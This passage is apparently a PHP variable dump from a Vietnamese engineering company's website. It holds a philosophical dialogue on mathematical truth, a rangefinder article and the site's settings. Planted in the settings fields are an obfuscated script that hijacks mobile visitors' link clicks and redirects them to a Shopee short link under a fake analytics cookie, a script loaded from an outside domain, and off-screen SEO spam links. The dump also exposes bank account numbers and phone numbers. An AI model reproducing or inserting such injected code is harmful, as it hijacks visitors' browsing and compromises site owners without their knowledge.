cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-10', 'status' => '1', 'view' => '61823', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $setting = array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ) $description_for_layout = '' $keywords_for_layout = '' $tintucnoibat = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-10', 'status' => '1', 'view' => '89284', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p 